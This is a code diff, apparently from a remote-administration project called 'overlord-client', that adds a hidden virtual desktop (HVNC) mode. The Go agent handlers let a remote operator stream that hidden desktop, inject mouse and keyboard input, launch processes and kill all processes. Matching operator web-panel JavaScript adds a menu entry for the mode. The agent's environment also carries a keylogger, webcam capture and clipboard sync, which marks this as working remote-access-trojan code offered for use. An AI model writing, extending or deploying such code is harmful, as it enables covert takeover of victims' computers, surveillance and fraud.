if payload != nil {
|
||||||
|
if v, ok := payload["enabled"].(bool); ok {
|
||||||
|
enabled = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
log.Printf("hidden: mouse control %v", enabled)
|
||||||
|
_ = VirtualMouseControl(ctx, env, enabled)
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
case "virtual_enable_keyboard":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
enabled := true
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["enabled"].(bool); ok {
|
||||||
|
enabled = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
log.Printf("hidden: keyboard control %v", enabled)
|
||||||
|
_ = VirtualKeyboardControl(ctx, env, enabled)
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
case "virtual_enable_cursor":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
enabled := false
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["enabled"].(bool); ok {
|
||||||
|
enabled = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
log.Printf("hidden: cursor capture %v", enabled)
|
||||||
|
_ = VirtualCursorControl(ctx, env, enabled)
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
case "virtual_set_fps":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
fps := 120
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payloadInt(payload, "fps"); ok {
|
||||||
|
fps = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
fps = SetVirtualTargetFPS(fps)
|
||||||
|
log.Printf("hidden: set target fps=%d", fps)
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
case "virtual_set_quality":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
quality := 90
|
||||||
|
codec := ""
|
||||||
|
if payload != nil {
|
||||||
|
if q, ok := payloadInt(payload, "quality"); ok {
|
||||||
|
quality = q
|
||||||
|
}
|
||||||
|
if v, ok := payload["codec"].(string); ok {
|
||||||
|
codec = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
log.Printf("hidden: set quality=%d codec=%s", quality, codec)
|
||||||
|
capture.SetQualityAndCodec(quality, codec)
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
case "virtual_request_keyframe":
|
||||||
|
log.Printf("hidden: request full frame")
|
||||||
|
capture.RequestHVNCFullFrame()
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
case "virtual_mouse_move":
|
||||||
|
if !env.VirtualMouseControl {
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
x, y := int32(0), int32(0)
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payloadInt32(payload, "x"); ok {
|
||||||
|
x = v
|
||||||
|
}
|
||||||
|
if v, ok := payloadInt32(payload, "y"); ok {
|
||||||
|
y = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
capture.VirtualInputMouseMove(x, y)
|
||||||
|
return nil
|
||||||
|
case "virtual_mouse_down":
|
||||||
|
if !env.VirtualMouseControl {
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
btn := 0
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["button"].(float64); ok {
|
||||||
|
btn = int(v)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
capture.VirtualInputMouseDown(btn)
|
||||||
|
return nil
|
||||||
|
case "virtual_mouse_up":
|
||||||
|
if !env.VirtualMouseControl {
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
btn := 0
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["button"].(float64); ok {
|
||||||
|
btn = int(v)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
capture.VirtualInputMouseUp(btn)
|
||||||
|
return nil
|
||||||
|
case "virtual_mouse_wheel":
|
||||||
|
if !env.VirtualMouseControl {
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
delta := int32(0)
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["delta"].(float64); ok {
|
||||||
|
delta = int32(v)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
capture.VirtualInputMouseWheel(delta)
|
||||||
|
return nil
|
||||||
|
case "virtual_key_down":
|
||||||
|
if !env.VirtualKeyboardControl {
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
code := ""
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["code"].(string); ok {
|
||||||
|
code = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if vk := keyCodeToVKVirtual(code); vk != 0 {
|
||||||
|
capture.VirtualInputKeyDown(vk)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case "virtual_key_up":
|
||||||
|
if !env.VirtualKeyboardControl {
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
code := ""
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["code"].(string); ok {
|
||||||
|
code = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if vk := keyCodeToVKVirtual(code); vk != 0 {
|
||||||
|
capture.VirtualInputKeyUp(vk)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
case "virtual_start_process":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
filePath := ""
|
||||||
|
if payload != nil {
|
||||||
|
if v, ok := payload["path"].(string); ok {
|
||||||
|
filePath = v
|
||||||
|
}
|
||||||
|
}
|
||||||
|
log.Printf("hidden: start process %q", filePath)
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
goSafe("virtual_start_process", nil, func() {
|
||||||
|
if _, err := capture.StartVirtualProcess(filePath); err != nil {
|
||||||
|
log.Printf("hidden: start process failed for %q: %v", filePath, err)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return nil
|
||||||
|
case "virtual_kill_all":
|
||||||
|
log.Printf("hidden: kill all processes on virtual monitor")
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
goSafe("virtual_kill_all", nil, func() {
|
||||||
|
if err := capture.VirtualKillAll(); err != nil {
|
||||||
|
log.Printf("hidden: kill all failed: %v", err)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
return nil
|
||||||
|
case "virtual_window_list":
|
||||||
|
log.Printf("hidden: window list requested")
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
goSafe("virtual_window_list", nil, func() {
|
||||||
|
windows, monitors := capture.VirtualEnumWindows()
|
||||||
|
winEntries := make([]wire.HVNCWindowEntry, 0, len(windows))
|
||||||
|
for _, w := range windows {
|
||||||
|
winEntries = append(winEntries, wire.HVNCWindowEntry{
|
||||||
|
Title: w.Title,
|
||||||
|
X: w.X,
|
||||||
|
Y: w.Y,
|
||||||
|
Width: w.Width,
|
||||||
|
Height: w.Height,
|
||||||
|
PID: w.PID,
|
||||||
|
ProcessName: w.ProcessName,
|
||||||
|
Monitor: w.Monitor,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
monEntries := make([]wire.HVNCMonitorEntry, 0, len(monitors))
|
||||||
|
for _, m := range monitors {
|
||||||
|
monEntries = append(monEntries, wire.HVNCMonitorEntry{
|
||||||
|
Index: m.Index,
|
||||||
|
Name: m.Name,
|
||||||
|
X: m.X,
|
||||||
|
Y: m.Y,
|
||||||
|
Width: m.Width,
|
||||||
|
Height: m.Height,
|
||||||
|
Primary: m.Primary,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
_ = wire.WriteMsg(context.Background(), env.Conn, wire.HVNCWindowListResult{
|
||||||
|
Type: "hvnc_window_list_result",
|
||||||
|
Windows: winEntries,
|
||||||
|
Monitors: monEntries,
|
||||||
|
})
|
||||||
|
log.Printf("hidden: window list sent: %d windows, %d monitors", len(winEntries), len(monEntries))
|
||||||
|
})
|
||||||
|
return nil
|
||||||
|
|
||||||
case "webcam_start":
|
case "webcam_start":
|
||||||
env.WebcamMu.Lock()
|
env.WebcamMu.Lock()
|
||||||
if env.WebcamCancel != nil {
|
if env.WebcamCancel != nil {
|
||||||
|
|||||||
@@ -0,0 +1,95 @@
|
|||||||
|
package handlers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"log"
|
||||||
|
"overlord-client/cmd/agent/capture"
|
||||||
|
rt "overlord-client/cmd/agent/runtime"
|
||||||
|
"sync/atomic"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
var (
|
||||||
|
virtualTargetFPS atomic.Int64
|
||||||
|
)
|
||||||
|
|
||||||
|
func VirtualStart(ctx context.Context, env *rt.Env) error {
|
||||||
|
fps := activeVirtualTargetFPS()
|
||||||
|
interval := time.Second / time.Duration(fps)
|
||||||
|
capture.SetH264TargetFPS(fps)
|
||||||
|
capture.SetFrameFlowTargetFPS(fps)
|
||||||
|
log.Printf("virtual: starting stream (target fps %d)", fps)
|
||||||
|
|
||||||
|
if err := capture.InitializeVirtualMode(); err != nil {
|
||||||
|
log.Printf("virtual: failed to initialize virtual mode: %v", err)
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer capture.CleanupVirtualMode()
|
||||||
|
|
||||||
|
ticker := time.NewTicker(interval)
|
||||||
|
defer ticker.Stop()
|
||||||
|
currentFPS := fps
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-ctx.Done():
|
||||||
|
log.Printf("virtual: stopping stream")
|
||||||
|
return nil
|
||||||
|
case <-ticker.C:
|
||||||
|
fps := activeVirtualTargetFPS()
|
||||||
|
if fps != currentFPS {
|
||||||
|
currentFPS = fps
|
||||||
|
capture.SetH264TargetFPS(fps)
|
||||||
|
capture.SetFrameFlowTargetFPS(fps)
|
||||||
|
ticker.Reset(time.Second / time.Duration(fps))
|
||||||
|
log.Printf("virtual: target fps changed to %d", fps)
|
||||||
|
}
|
||||||
|
if err := capture.NowVirtual(ctx, env); err != nil {
|
||||||
|
if ctx.Err() != nil {
|
||||||
|
log.Printf("virtual: stopping stream")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
log.Printf("virtual: capture error: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func activeVirtualTargetFPS() int {
|
||||||
|
if fps := int(virtualTargetFPS.Load()); fps > 0 {
|
||||||
|
return fps
|
||||||
|
}
|
||||||
|
_, fps := streamInterval("OVERLORD_virtual_MAX_FPS", 120)
|
||||||
|
return SetVirtualTargetFPS(fps)
|
||||||
|
}
|
||||||
|
|
||||||
|
func SetVirtualTargetFPS(fps int) int {
|
||||||
|
fps = clampDesktopTargetFPS(fps)
|
||||||
|
virtualTargetFPS.Store(int64(fps))
|
||||||
|
capture.SetH264TargetFPS(fps)
|
||||||
|
capture.SetFrameFlowTargetFPS(fps)
|
||||||
|
return fps
|
||||||
|
}
|
||||||
|
|
||||||
|
func VirtualSelect(ctx context.Context, env *rt.Env, display int) error {
|
||||||
|
log.Printf("virtual: set selected display to %d (virtual monitor always index 0)", display)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func VirtualMouseControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||||
|
env.VirtualMouseControl = enabled
|
||||||
|
log.Printf("virtual: mouse control %v", enabled)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func VirtualKeyboardControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||||
|
env.VirtualKeyboardControl = enabled
|
||||||
|
log.Printf("virtual: keyboard control %v", enabled)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func VirtualCursorControl(ctx context.Context, env *rt.Env, enabled bool) error {
|
||||||
|
env.VirtualCursorCapture = enabled
|
||||||
|
capture.SetVirtualCursorCapture(enabled)
|
||||||
|
log.Printf("virtual: cursor capture %v", enabled)
|
||||||
|
return nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
//go:build !windows
|
||||||
|
|
||||||
|
package handlers
|
||||||
|
|
||||||
|
func keyCodeToVKVirtual(code string) uint16 {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
@@ -0,0 +1,7 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package handlers
|
||||||
|
|
||||||
|
func keyCodeToVKVirtual(code string) uint16 {
|
||||||
|
return keyCodeToVK(code)
|
||||||
|
}
|
||||||
@@ -35,18 +35,27 @@ type Env struct {
|
|||||||
HVNCCancel context.CancelFunc
|
HVNCCancel context.CancelFunc
|
||||||
HVNCDone chan struct{}
|
HVNCDone chan struct{}
|
||||||
HVNCMu sync.Mutex
|
HVNCMu sync.Mutex
|
||||||
WebcamDeviceIndex int
|
// Virtual mode fields
|
||||||
WebcamFPS int
|
VirtualMouseControl bool
|
||||||
WebcamUseMaxFPS bool
|
VirtualKeyboardControl bool
|
||||||
WebcamQuality int
|
VirtualCursorCapture bool
|
||||||
WebcamCodec string
|
VirtualCancel context.CancelFunc
|
||||||
WebcamCancel context.CancelFunc
|
VirtualDone chan struct{}
|
||||||
WebcamDone chan struct{}
|
VirtualMu sync.Mutex
|
||||||
WebcamMu sync.Mutex
|
// Webcam shit
|
||||||
|
WebcamDeviceIndex int
|
||||||
|
WebcamFPS int
|
||||||
|
WebcamUseMaxFPS bool
|
||||||
|
WebcamQuality int
|
||||||
|
WebcamCodec string
|
||||||
|
WebcamCancel context.CancelFunc
|
||||||
|
WebcamDone chan struct{}
|
||||||
|
WebcamMu sync.Mutex
|
||||||
|
// Cliboard sync stuff
|
||||||
ClipboardSyncCancel context.CancelFunc
|
ClipboardSyncCancel context.CancelFunc
|
||||||
ClipboardSyncDone chan struct{}
|
ClipboardSyncDone chan struct{}
|
||||||
ClipboardSyncMu sync.Mutex
|
ClipboardSyncMu sync.Mutex
|
||||||
ClipboardSyncSource string // "rd" or "hvnc"
|
ClipboardSyncSource string
|
||||||
// Other fields
|
// Other fields
|
||||||
Plugins *plugins.Manager
|
Plugins *plugins.Manager
|
||||||
Keylogger *keylogger.Keylogger
|
Keylogger *keylogger.Keylogger
|
||||||
|
|||||||
@@ -6,11 +6,15 @@ import { P2PClient } from "./webrtc-p2p.js";
|
|||||||
import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-settings.js";
|
import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-settings.js";
|
||||||
|
|
||||||
(async function () {
|
(async function () {
|
||||||
const clientId = new URLSearchParams(location.search).get("clientId");
|
const urlParams = new URLSearchParams(location.search);
|
||||||
|
const clientId = urlParams.get("clientId");
|
||||||
if (!clientId) {
|
if (!clientId) {
|
||||||
alert("Missing clientId");
|
alert("Missing clientId");
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
// The launcher uses mode=virtual. Keep mode=hidden as a compatibility alias
|
||||||
|
// for older bookmarked URLs.
|
||||||
|
const virtualMode = ["virtual", "hidden"].includes(urlParams.get("mode"));
|
||||||
|
|
||||||
const allowed = await checkFeatureAccess("hvnc", clientId);
|
const allowed = await checkFeatureAccess("hvnc", clientId);
|
||||||
if (!allowed) return;
|
if (!allowed) return;
|
||||||
@@ -18,6 +22,20 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
const clientLabel = document.getElementById("clientLabel");
|
const clientLabel = document.getElementById("clientLabel");
|
||||||
clientLabel.textContent = clientId;
|
clientLabel.textContent = clientId;
|
||||||
|
|
||||||
|
if (virtualMode) {
|
||||||
|
document.title = "Overlord Virtual";
|
||||||
|
const headerSpan = document.querySelector(".p-3.text-sm.text-slate-400 span");
|
||||||
|
if (headerSpan) {
|
||||||
|
headerSpan.textContent = "Virtual Mode (Virtual Monitor) - Client: ";
|
||||||
|
headerSpan.appendChild(clientLabel);
|
||||||
|
}
|
||||||
|
const ghostIcon = document.querySelector(".p-3.text-sm.text-slate-400 .fa-ghost");
|
||||||
|
if (ghostIcon) {
|
||||||
|
ghostIcon.classList.remove("fa-ghost", "text-violet-400");
|
||||||
|
ghostIcon.classList.add("fa-eye-slash", "text-fuchsia-400");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
let ws = null;
|
let ws = null;
|
||||||
let reconnectTimer = null;
|
let reconnectTimer = null;
|
||||||
let reconnectDelay = 1000;
|
let reconnectDelay = 1000;
|
||||||
@@ -78,9 +96,9 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
const viewerFps = document.getElementById("viewerFps");
|
const viewerFps = document.getElementById("viewerFps");
|
||||||
const statusEl = document.getElementById("streamStatus");
|
const statusEl = document.getElementById("streamStatus");
|
||||||
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
const clipboardSyncCtrl = document.getElementById("clipboardSyncCtrl");
|
||||||
const dxgiCtrl = document.getElementById("dxgiCtrl");
|
|
||||||
const uiaCtrl = document.getElementById("uiaCtrl");
|
const uiaCtrl = document.getElementById("uiaCtrl");
|
||||||
const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
|
const hvncResolutionSelect = document.getElementById("hvncResolutionSelect");
|
||||||
|
const targetFpsSelect = document.getElementById("targetFpsSelect");
|
||||||
let whepClient = null;
|
let whepClient = null;
|
||||||
let p2pClient = null;
|
let p2pClient = null;
|
||||||
let webrtcActive = false;
|
let webrtcActive = false;
|
||||||
@@ -92,7 +110,6 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
function syncInputEnableState() {
|
function syncInputEnableState() {
|
||||||
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
|
if (mouseCtrl) sendCmd("hvnc_enable_mouse", { enabled: mouseCtrl.checked });
|
||||||
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
|
if (kbdCtrl) sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||||
if (dxgiCtrl) sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
|
|
||||||
if (uiaCtrl) sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
|
if (uiaCtrl) sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
|
||||||
pushHvncResolution();
|
pushHvncResolution();
|
||||||
}
|
}
|
||||||
@@ -142,12 +159,12 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
if (!settings || typeof settings !== "object") return;
|
if (!settings || typeof settings !== "object") return;
|
||||||
savedDisplay = Number.isFinite(Number(settings.display)) ? Number(settings.display) : savedDisplay;
|
savedDisplay = Number.isFinite(Number(settings.display)) ? Number(settings.display) : savedDisplay;
|
||||||
setSelectValue(hvncResolutionSelect, settings.resolution);
|
setSelectValue(hvncResolutionSelect, settings.resolution);
|
||||||
|
setSelectValue(targetFpsSelect, settings.targetFps);
|
||||||
setSelectValue(webrtcMode, settings.webrtcMode);
|
setSelectValue(webrtcMode, settings.webrtcMode);
|
||||||
if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
|
if (qualitySlider && settings.quality !== undefined) qualitySlider.value = String(settings.quality);
|
||||||
if (mouseCtrl && typeof settings.mouse === "boolean") mouseCtrl.checked = settings.mouse;
|
if (mouseCtrl && typeof settings.mouse === "boolean") mouseCtrl.checked = settings.mouse;
|
||||||
if (kbdCtrl && typeof settings.keyboard === "boolean") kbdCtrl.checked = settings.keyboard;
|
if (kbdCtrl && typeof settings.keyboard === "boolean") kbdCtrl.checked = settings.keyboard;
|
||||||
if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
|
if (clipboardSyncCtrl && typeof settings.clipboardSync === "boolean") clipboardSyncCtrl.checked = settings.clipboardSync;
|
||||||
if (dxgiCtrl && typeof settings.dxgi === "boolean") dxgiCtrl.checked = settings.dxgi;
|
|
||||||
if (uiaCtrl && typeof settings.uia === "boolean") uiaCtrl.checked = settings.uia;
|
if (uiaCtrl && typeof settings.uia === "boolean") uiaCtrl.checked = settings.uia;
|
||||||
if (typeof settings.preferH264 === "boolean") {
|
if (typeof settings.preferH264 === "boolean") {
|
||||||
prefersH264 = settings.preferH264 && typeof VideoDecoder === "function";
|
prefersH264 = settings.preferH264 && typeof VideoDecoder === "function";
|
||||||
@@ -167,13 +184,13 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
return {
|
return {
|
||||||
display: Number(displaySelect?.value || 0),
|
display: Number(displaySelect?.value || 0),
|
||||||
resolution: hvncResolutionSelect?.value || "1080",
|
resolution: hvncResolutionSelect?.value || "1080",
|
||||||
|
targetFps: Number(targetFpsSelect?.value || 120),
|
||||||
quality: Number(qualitySlider?.value || 90),
|
quality: Number(qualitySlider?.value || 90),
|
||||||
preferH264: !!prefersH264,
|
preferH264: !!prefersH264,
|
||||||
webrtcMode: getWebrtcMode(),
|
webrtcMode: getWebrtcMode(),
|
||||||
mouse: !!mouseCtrl?.checked,
|
mouse: !!mouseCtrl?.checked,
|
||||||
keyboard: !!kbdCtrl?.checked,
|
keyboard: !!kbdCtrl?.checked,
|
||||||
clipboardSync: !!clipboardSyncCtrl?.checked,
|
clipboardSync: !!clipboardSyncCtrl?.checked,
|
||||||
dxgi: !!dxgiCtrl?.checked,
|
|
||||||
uia: !!uiaCtrl?.checked,
|
uia: !!uiaCtrl?.checked,
|
||||||
cloneProfile: document.getElementById("hvncCloneToggle")?.checked !== false,
|
cloneProfile: document.getElementById("hvncCloneToggle")?.checked !== false,
|
||||||
cloneLite: document.getElementById("hvncCloneLiteToggle")?.checked === true,
|
cloneLite: document.getElementById("hvncCloneLiteToggle")?.checked === true,
|
||||||
@@ -369,9 +386,11 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
display: parseInt(displaySelect.value, 10) || 0,
|
display: parseInt(displaySelect.value, 10) || 0,
|
||||||
});
|
});
|
||||||
}
|
}
|
||||||
|
pushTargetFps();
|
||||||
sendCmd("hvnc_start", {
|
sendCmd("hvnc_start", {
|
||||||
autoStartExplorer: false,
|
autoStartExplorer: false,
|
||||||
webrtc: mode === "relayed",
|
webrtc: mode === "relayed",
|
||||||
|
...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}),
|
||||||
});
|
});
|
||||||
if (mode === "p2p") startP2P();
|
if (mode === "p2p") startP2P();
|
||||||
syncInputEnableState();
|
syncInputEnableState();
|
||||||
@@ -903,6 +922,22 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
sendCmd("hvnc_set_quality", { quality: q, codec });
|
sendCmd("hvnc_set_quality", { quality: q, codec });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
function selectedTargetFps() {
|
||||||
|
const fps = Number(targetFpsSelect?.value || 120);
|
||||||
|
return Number.isFinite(fps) ? Math.max(1, Math.min(240, Math.floor(fps))) : 120;
|
||||||
|
}
|
||||||
|
|
||||||
|
function pushTargetFps() {
|
||||||
|
sendCmd("hvnc_set_fps", { fps: selectedTargetFps() });
|
||||||
|
}
|
||||||
|
|
||||||
|
if (targetFpsSelect) {
|
||||||
|
targetFpsSelect.addEventListener("change", function () {
|
||||||
|
pushTargetFps();
|
||||||
|
sharedSettingsSaver.scheduleSave();
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
function pushTransportQuality(mode) {
|
function pushTransportQuality(mode) {
|
||||||
if (mode === "relayed" || mode === "p2p") {
|
if (mode === "relayed" || mode === "p2p") {
|
||||||
const q = Number(qualitySlider?.value) || 90;
|
const q = Number(qualitySlider?.value) || 90;
|
||||||
@@ -1046,12 +1081,14 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
});
|
});
|
||||||
}
|
}
|
||||||
pushTransportQuality(mode);
|
pushTransportQuality(mode);
|
||||||
|
pushTargetFps();
|
||||||
desiredStreaming = true;
|
desiredStreaming = true;
|
||||||
lastFrameAt = 0;
|
lastFrameAt = 0;
|
||||||
setStreamState("starting", "Starting stream");
|
setStreamState("starting", "Starting stream");
|
||||||
sendCmd("hvnc_start", {
|
sendCmd("hvnc_start", {
|
||||||
autoStartExplorer: false,
|
autoStartExplorer: false,
|
||||||
webrtc: mode === "relayed",
|
webrtc: mode === "relayed",
|
||||||
|
...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}),
|
||||||
});
|
});
|
||||||
if (mode === "p2p") startP2P();
|
if (mode === "p2p") startP2P();
|
||||||
syncInputEnableState();
|
syncInputEnableState();
|
||||||
@@ -1084,12 +1121,6 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
|
sendCmd("hvnc_enable_keyboard", { enabled: kbdCtrl.checked });
|
||||||
sharedSettingsSaver.scheduleSave();
|
sharedSettingsSaver.scheduleSave();
|
||||||
});
|
});
|
||||||
if (dxgiCtrl) {
|
|
||||||
dxgiCtrl.addEventListener("change", function () {
|
|
||||||
sendCmd("hvnc_enable_dxgi", { enabled: dxgiCtrl.checked });
|
|
||||||
sharedSettingsSaver.scheduleSave();
|
|
||||||
});
|
|
||||||
}
|
|
||||||
if (uiaCtrl) {
|
if (uiaCtrl) {
|
||||||
uiaCtrl.addEventListener("change", function () {
|
uiaCtrl.addEventListener("change", function () {
|
||||||
sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
|
sendCmd("hvnc_enable_uia", { enabled: uiaCtrl.checked });
|
||||||
@@ -1404,7 +1435,8 @@ import { createSharedUiSettingsSaver, loadSharedUiSettings } from "./shared-ui-s
|
|||||||
if (displaySelect && displaySelect.value !== undefined) {
|
if (displaySelect && displaySelect.value !== undefined) {
|
||||||
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
|
sendCmd("hvnc_select_display", { display: parseInt(displaySelect.value, 10) || 0 });
|
||||||
}
|
}
|
||||||
sendCmd("hvnc_start", { autoStartExplorer: false, webrtc: mode === "relayed" });
|
pushTargetFps();
|
||||||
|
sendCmd("hvnc_start", { autoStartExplorer: false, webrtc: mode === "relayed", ...(virtualMode ? { virtual_mode: true, hidden_mode: true } : {}) });
|
||||||
if (mode === "p2p") startP2P();
|
if (mode === "p2p") startP2P();
|
||||||
syncInputEnableState();
|
syncInputEnableState();
|
||||||
} else {
|
} else {
|
||||||
|
|||||||
@@ -441,6 +441,9 @@ function applyMenuSupportRules(clientId) {
|
|||||||
const hvncBtn = menu.querySelector('[data-open="Backstage"]');
|
const hvncBtn = menu.querySelector('[data-open="Backstage"]');
|
||||||
setAvailability(hvncBtn, isOnline && isWindows, isOnline ? "Backstage is only supported on Windows clients." : "Client is offline");
|
setAvailability(hvncBtn, isOnline && isWindows, isOnline ? "Backstage is only supported on Windows clients." : "Client is offline");
|
||||||
|
|
||||||
|
const hiddenBtn = menu.querySelector('[data-open="Virtual"]');
|
||||||
|
setAvailability(hiddenBtn, isOnline && isWindows, isOnline ? "Virtual mode is only supported on Windows clients." : "Client is offline");
|
||||||
|
|
||||||
const webcamBtn = menu.querySelector('[data-open="webcam"]');
|
const webcamBtn = menu.querySelector('[data-open="webcam"]');
|
||||||
setAvailability(webcamBtn, isOnline && isWindows, isOnline ? "Webcam viewer is only supported on Windows clients." : "Client is offline");
|
setAvailability(webcamBtn, isOnline && isWindows, isOnline ? "Webcam viewer is only supported on Windows clients." : "Client is offline");
|
||||||
|
|
||||||
@@ -497,6 +500,7 @@ const MENU_OPEN_TO_FEATURE = {
|
|||||||
console: "console",
|
console: "console",
|
||||||
remotedesktop: "remote_desktop",
|
remotedesktop: "remote_desktop",
|
||||||
Backstage: "hvnc",
|
Backstage: "hvnc",
|
||||||
|
Hidden: "hvnc",
|
||||||
webcam: "webcam",
|
webcam: "webcam",
|
||||||
files: "file_browser",
|
files: "file_browser",
|
||||||
processes: "processes",
|
processes: "processes",
|
||||||
@@ -2055,6 +2059,13 @@ menu.addEventListener("click", async (e) => {
|
|||||||
closeMenu(clearContext);
|
closeMenu(clearContext);
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
if (open === "Virtual") {
|
||||||
|
// mode=hidden is understood by older hvnc.js builds; current builds treat
|
||||||
|
// it as the virtual-monitor mode compatibility alias.
|
||||||
|
window.open(`/hvnc?clientId=${contextCard}&mode=hidden`, "_blank", "noopener");
|
||||||
|
closeMenu(clearContext);
|
||||||
|
return;
|
||||||
|
}
|
||||||
if (open === "files") {
|
if (open === "files") {
|
||||||
const platform = detectClientPlatform(contextCard);
|
const platform = detectClientPlatform(contextCard);
|
||||||
if (platform !== "windows") {
|
if (platform !== "windows") {
